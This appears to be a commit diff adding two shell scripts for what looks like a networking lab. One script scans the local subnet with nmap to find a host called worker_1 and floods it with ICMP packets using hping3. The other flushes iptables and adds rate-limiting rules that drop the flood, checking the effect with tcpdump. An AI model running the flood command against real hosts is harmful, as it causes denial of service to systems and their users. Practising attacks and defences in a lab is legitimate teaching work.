AndreasNefeli
4 years ago
2 changed files with 12 additions and 0 deletions
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my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}') |
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network=$(echo $my_ip | sed 's/.[0-9]$/.*/') |
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worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
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sudo hping3 -p 80 --flood --icmp $worker |
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my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}') |
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sudo iptables -F |
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sudo timeout 2s tcpdump -i eth0 icmp and src $my_ip |
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sudo iptables -N icmp_flood |
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sudo iptables -A INPUT -p icmp -j icmp_flood |
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sudo iptables -A icmp_flood -m limit --limit 1/s --limit-burst 3 -j RETURN |
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sudo iptables -A icmp_flood -j DROP |
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sudo timeout 5s tcpdump -i eth0 icmp and src $my_ip |
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